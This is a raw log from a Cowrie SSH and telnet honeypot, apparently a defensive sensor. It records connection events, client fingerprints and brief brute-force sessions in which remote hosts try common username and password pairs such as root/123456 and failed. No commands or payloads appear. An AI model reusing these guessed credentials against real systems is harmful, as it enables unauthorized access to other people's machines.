{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:45.407196Z","src_ip":"194.113.233.25","session":"e7f84522b830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxswa","message":"login attempt [root/qazxswa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:45.684611Z","src_ip":"194.113.233.25","session":"e7f84522b830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:46:46.779310Z","src_ip":"194.113.233.25","session":"e7f84522b830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37230,"dst_ip":"159.203.135.109","dst_port":22,"session":"500956f7569f","protocol":"ssh","message":"New connection: 103.176.20.57:37230 (159.203.135.109:22) [session: 500956f7569f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:03.380879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:03.385526Z","src_ip":"103.176.20.57","session":"500956f7569f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:03.629637Z","src_ip":"103.176.20.57","session":"500956f7569f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"040985","message":"login attempt [root/040985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:04.365283Z","src_ip":"103.176.20.57","session":"500956f7569f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:05.609931Z","src_ip":"103.176.20.57","session":"500956f7569f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":56588,"dst_ip":"10.17.0.5","dst_port":22,"session":"56f1231454b6","protocol":"ssh","message":"New connection: 80.94.92.55:56588 (10.17.0.5:22) [session: 56f1231454b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:07.120807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:07.641757Z","src_ip":"80.94.92.55","session":"56f1231454b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:07.758583Z","src_ip":"80.94.92.55","session":"56f1231454b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:10.118037Z","src_ip":"80.94.92.55","session":"56f1231454b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:11.753465Z","src_ip":"80.94.92.55","session":"56f1231454b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.13942384719849,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:16.271334Z","src_ip":"137.184.5.188","session":"18d8e3c7e5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56138,"dst_ip":"10.17.0.5","dst_port":22,"session":"1299be6a0965","protocol":"ssh","message":"New connection: 103.77.175.15:56138 (10.17.0.5:22) [session: 1299be6a0965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:34.383568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:34.388479Z","src_ip":"103.77.175.15","session":"1299be6a0965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:34.616830Z","src_ip":"103.77.175.15","session":"1299be6a0965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221278","message":"login attempt [root/221278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:35.295602Z","src_ip":"103.77.175.15","session":"1299be6a0965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:36.523802Z","src_ip":"103.77.175.15","session":"1299be6a0965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53814,"dst_ip":"159.203.135.109","dst_port":23,"session":"f32e60f2aff3","protocol":"telnet","message":"New connection: 170.64.224.25:53814 (159.203.135.109:23) [session: f32e60f2aff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:41.969493Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":54706,"dst_ip":"10.17.0.5","dst_port":22,"session":"d71866045154","protocol":"ssh","message":"New connection: 91.92.40.4:54706 (10.17.0.5:22) [session: d71866045154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:44.225448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:44.229223Z","src_ip":"91.92.40.4","session":"d71866045154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:44.311602Z","src_ip":"91.92.40.4","session":"d71866045154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"q1w2e3r4","message":"login attempt [test/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:44.594825Z","src_ip":"91.92.40.4","session":"d71866045154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:45.678514Z","src_ip":"91.92.40.4","session":"d71866045154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":40702,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa906b034bb","protocol":"ssh","message":"New connection: 92.118.39.71:40702 (159.203.135.109:22) [session: 9aa906b034bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:49.294306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:49.298396Z","src_ip":"92.118.39.71","session":"9aa906b034bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:49.397157Z","src_ip":"92.118.39.71","session":"9aa906b034bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:49.693941Z","src_ip":"92.118.39.71","session":"9aa906b034bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:47:50.794504Z","src_ip":"92.118.39.71","session":"9aa906b034bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":60350,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e4eff6cdb7e","protocol":"ssh","message":"New connection: 154.221.25.72:60350 (159.203.135.109:22) [session: 3e4eff6cdb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:06.274762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:06.277695Z","src_ip":"154.221.25.72","session":"3e4eff6cdb7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:06.485219Z","src_ip":"154.221.25.72","session":"3e4eff6cdb7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangxing","message":"login attempt [root/zhangxing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:07.356971Z","src_ip":"154.221.25.72","session":"3e4eff6cdb7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:08.572627Z","src_ip":"154.221.25.72","session":"3e4eff6cdb7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":60910,"dst_ip":"159.203.135.109","dst_port":22,"session":"08d49efe7aa0","protocol":"ssh","message":"New connection: 213.21.248.43:60910 (159.203.135.109:22) [session: 08d49efe7aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:09.216513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:09.220029Z","src_ip":"213.21.248.43","session":"08d49efe7aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:09.297530Z","src_ip":"213.21.248.43","session":"08d49efe7aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2fenc1","password":"db2fenc1","message":"login attempt [db2fenc1/db2fenc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:09.645380Z","src_ip":"213.21.248.43","session":"08d49efe7aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:10.725726Z","src_ip":"213.21.248.43","session":"08d49efe7aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46954,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fd39efac5b8","protocol":"telnet","message":"New connection: 170.64.224.25:46954 (159.203.135.109:23) [session: 8fd39efac5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:11.556367Z"}
{"eventid":"cowrie.session.closed","duration":57.2694525718689,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:39.238857Z","src_ip":"170.64.224.25","session":"f32e60f2aff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":43092,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6014227b904","protocol":"ssh","message":"New connection: 194.36.147.215:43092 (10.17.0.5:22) [session: d6014227b904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:39.382975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:39.386839Z","src_ip":"194.36.147.215","session":"d6014227b904","protocol":"ssh"}
